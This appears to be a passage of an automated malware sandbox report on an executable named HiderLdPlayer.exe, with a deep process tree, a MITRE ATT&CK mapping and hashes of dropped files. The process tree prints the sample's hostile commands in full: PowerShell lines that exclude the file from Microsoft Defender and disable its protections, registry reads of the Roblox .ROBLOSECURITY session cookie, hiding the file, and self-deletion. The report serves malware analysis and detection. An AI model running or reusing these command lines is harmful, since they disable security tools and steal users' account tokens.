        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        47⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        46⤵
        
        PID:4352
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        45⤵
        
        PID:3144
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        46⤵
        
        PID:6492
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        46⤵
        Views/modifies file attributes
        
        PID:5112
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:6700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        46⤵
        
        PID:6812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        46⤵
        
        PID:4184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        46⤵
        
        PID:6620
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        46⤵
        
        PID:7152
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        46⤵
        
        PID:7056
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        46⤵
        
        PID:6208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        46⤵
        
        PID:2240
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        46⤵
        Detects videocard installed
        
        PID:6692
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        46⤵
        
        PID:4668
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        47⤵
        Runs ping.exe
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        44⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        43⤵
        
        PID:6248
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        42⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        41⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        40⤵
        
        PID:6040
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        39⤵
        
        PID:4408
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        38⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        37⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        36⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        35⤵
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        34⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        33⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        32⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        31⤵
        
        PID:6860
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        30⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        29⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        28⤵
        
        PID:6524
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        27⤵
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        26⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        25⤵
        
        PID:6920
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        26⤵
        
        PID:6436
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        26⤵
        Views/modifies file attributes
        
        PID:6880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        26⤵
        
        PID:7036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        26⤵
        
        PID:6784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        26⤵
        
        PID:4872
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        26⤵
        
        PID:6652
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        26⤵
        
        PID:2968
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        26⤵
        
        PID:6436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        26⤵
        
        PID:3872
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        26⤵
        Detects videocard installed
        
        PID:5108
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        26⤵
        
        PID:7088
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        27⤵
        Runs ping.exe
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        24⤵
        
        PID:6696
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        23⤵
        
        PID:3924
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        22⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        21⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        20⤵
        
        PID:6980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        19⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        18⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        17⤵
        
        PID:5552
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        16⤵
        
        PID:6472
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        15⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        14⤵
        Executes dropped EXE
        
        PID:7136
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        13⤵
        Executes dropped EXE
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        12⤵
        Executes dropped EXE
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        11⤵
        Executes dropped EXE
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        10⤵
        Executes dropped EXE
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        9⤵
        Executes dropped EXE
        
        PID:7128
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        8⤵
        Executes dropped EXE
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        7⤵
        Executes dropped EXE
        
        PID:6520
      - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        6⤵
        Executes dropped EXE
        
        PID:3900
    - - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        5⤵
        Executes dropped EXE
        
        PID:5848
  - - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
      "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
      4⤵
      Executes dropped EXE
      PID:5188
- - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
    "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2228
  - - C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
      4⤵
      Views/modifies file attributes
      PID:5036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4660
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6996
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:7140
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:7116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      PID:4896
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:6416
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
      4⤵
      PID:6024
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        Runs ping.exe
        
        PID:6300

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6272

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\HiderLdPlayer.exe.log

Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b704c9ca0493bd4548ac9c69dc4a4f27

SHA1
a3e5e54e630dabe55ca18a798d9f5681e0620ba7

SHA256
2ebd5229b9dc642afba36a27c7ac12d90196b1c50985c37e94f4c17474e15411

SHA512
69c8116fb542b344a8c55e2658078bd3e0d3564b1e4c889b072dbc99d2b070dacbc4394dedbc22a4968a8cf9448e71f69ec71ded018c1bacc0e195b3b3072d32

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
477462b6ad8eaaf8d38f5e3a4daf17b0

SHA1
86174e670c44767c08a39cc2a53c09c318326201

SHA256
e6bbd4933b9baa1df4bb633319174de07db176ec215e71c8568d27c5c577184d

SHA512
a0acc2ef7fd0fcf413572eeb94d1e38aa6a682195cc03d6eaaaa0bc9e5f4b2c0033da0b835f4617aebc52069d0a10b52fc31ed53c2fe7943a480b55b7481dd4e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
b413fcfafb5a2ebe6f2dec0f7309a3f5

SHA1
a9edc90f3538ad8b4c7bd618cda95b603b6e63e1

SHA256
a5b3f93a35dfcba3ed4d47fe2030310fd4095e37fcf106570b7c7fecec74a1d0

SHA512
429ad22e3f4936d990c242e57798800d53199aba18788f5ae45d78d37b5c0f52007682d5eec403d180fabfccb2979e4c6e5365719c451054abca99ce6bf30edf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
442B

MD5
6313f036c1ade11294b1df14820d16ed

SHA1
eeb3ef01c340317ffc293ce26d3c9553062aa3c6

SHA256
ccddd4dafa43baf68a5a6d1a052eabb56862591ac69cc4d26da886803e5302cd

SHA512
ea71adb7dff50dd9062a8e5872c8b294870abc310190155edfaf25ef6c653ceaaea10ce7430ccd7c4f39bb8daba8575d24d5c379854b3bd821f6a59bd8aa1749

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
d33b9827c43721e2f9be779460e3c8ec

SHA1
8f3cc0cdf08f9dfa91320b14500157761764034b

SHA256
eb880d37b16868cce416f9fff1647040381f86400fc8b6e80a42cc7d20d2a393

SHA512
332f6cae05b482eb53c8726de873d68918e82f69551866e91dc78d5115e1da41f2f44ad61c9da4128294a0aa26250a9395d1d9f8a193ebaa1730c07d65b46003

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ab65e5f67279760b8d3d560c172928f7

SHA1
cf22257707b1c0b464546218b4b4d49119e9eba2

SHA256
904efd08882afb519b13acb5f7343587180bdf02e3f49f1603cbe937c91f0ab4

SHA512
32eddc4d17df863305f9fe2d6fcad4960842e210ec1d6c64feaf1b240108d742a518de8d25582650c8d45b760a0e7004f84bf1b070c741867af5e954abf87cc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
ff79482eed7ceb2b71b5821b01d181d1

SHA1
1caed9d44fc42427bc876ea25ff01a610934487f

SHA256
1552adfb15017358a0951f8f54fa932843c740c6bb7d72cb753a0ba0d67b3f62

SHA512
61e14a7b9022028d49676ae299bacc68b7ab3a990b6cf67f65ddce583c2e7bc0276246b11858bc9f6c1aa44edda0cecf79f346f3aa5486c569620c7c0cc6e4a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
c05a726e1f8eb885b64b56e12808005b

SHA1
c7a6842fad4e0ef9f95e5b0c11e390f42defcd12

SHA256
9a1decbc0c62db13e5cf63e29ad21d861f5088b3ef4787d2a8156d5615d74653

SHA512
ad0bf2eee7f7f7a6ff301e0172084dadf134b4ded00ffbbb2a53e49428656cf5245728f56382bfac02d2dd6f67f820573d9d15b5483a3b530d8e6e674c5e1df7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\activity-stream.discovery_stream.json.tmp

Filesize
26KB

MD5
2036db53d3b92b83923e3aaeac7441f4

SHA1
a22f1e484ed3278c07e9d8dd825607f15635b107

SHA256
b88b500089a05ab0b2b116a327c64c80defee5366c9bb0291fb991466d860eb6

SHA512
1d8db58f895794502c23cf9ffe7530da8394cab2f98ffeb12335ff13fccf9f39f4c2c721e0dcff30b6cc25c50509465094a6d481f3bbae06cf75c632d0818ca1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\activity-stream.discovery_stream.json.tmp

Filesize
26KB

MD5
d44be7f7ff4f73030ee1b389684b95b9

SHA1
9f05a8c0d305714546511b529637a3121a198507

SHA256
bc1c29e68417bbf8548405f8d226200d9a2e9b0636f18cadd608c52ce8a8b13d

SHA512
84c863ad8eae3e11eb5b762904ed0e43dd9f9be4eb12f0da49881f2783a1b0530d47ec3ff150f27c263c735f41aea202bb3b4f589a2f6f69aa12dd34274f8a8c

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\doomed\18746

Filesize
7KB

MD5
d5ecd880e33620bcb3a5e4fc27275e2d

SHA1
fd3c077f8bb0d806291a19ec739838dcea6d9452

SHA256
a9d3bd0fa6c4a08307989bad4821a3e44e55bc7652bb3f69a0f5062762eada9b

SHA512
361452e05bec9206bc60f85b452728067caa1c682e3f725ffd2fa2d82229c76ab5b70c216bfa90f846eb3e82ae8d9674b6daf0fa74539f635ec81f221b682149

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\doomed\20369

Filesize
8KB

MD5
2a24fd2a656fcb81c29ab208dd6a77ff

SHA1
14bcbd607ca7361ad14d450e3579d3cb6c10ea21

SHA256
8e24e7587b15a37f9710c539e237efb4fb214af14e0eca953a9066b467b6a7f5

SHA512
0cd1df647a182ca0bc012d36b488ed307257b6cdc4302dc108c6e8fa7826604ae6b5ee330d70717cfc2a043020ff3223fa46f448d56368204445d122d506479d

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\doomed\23076

Filesize
23KB

MD5
a76a0316ac44518dadd83b7959fc08b3

SHA1
761979416f903fa048b9ea8089954cf1848834bc

SHA256
0aa714741e8d908c7174e5949cd53bf9aa7e4abc5f510497fcb86ac63df22b81

SHA512
ebee7ea5c73df2bd71cebde39e1af921b13b76d06f541f1394268a883e39263d08c665584dedff6578ff372267f482bc1c6209dec4a21b3afa8f439620a0c53d

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\doomed\25668

Filesize
8KB

MD5
b0b3686c006dd2a21d24ecf921a11bb4

SHA1
a534738ecfb3cdd8ed14a54ee316f90515af8baa

SHA256
a14c8f9316eab7c38113e320f318c44ea710fd56d1e76b559c37f58cebd616c7

SHA512
734a5f0a03e64971c18b2628bfce8d2228066fe980dee01d86a7c66033ece6a60814f0d1a281a223016f76c9f56a27dbd7eab41e7fe8bbc30770b74c6f254edd

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\doomed\29148

Filesize
8KB

MD5
d30dd9ce816c995715ff4e1f46bdbef6

SHA1
89c226bed85d816e75f0008317eb93fb8af0be01

SHA256
15c1dfbcd027e12898d80360a06799ac9e0fd191df73b4ac0541ac0df56598e8

SHA512
bb6a9769bb5c1699deffee51eda1f2dc1d1b1456a6c11ad376437e27709d8ecb8041b5931c25c14002129af68ad31fbb0a8aeaac1b5b7e74206c1d8a473e255e

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0gx8chzo.default-release\cache2\entries\13EFA2A0AEBD2083A85C899358878A2DC2AD7C54

Filesize
41KB

MD5
6e848ad3e8520c5f9ce733647c80aac2

SHA1
8a03b689f13aa1fd28a07459ecf137a480bbc285

SHA256
9f4d05b305b1faa19efe0ea88ebcf4ae250eb5872c372d79af70f38b97af3054

SHA512
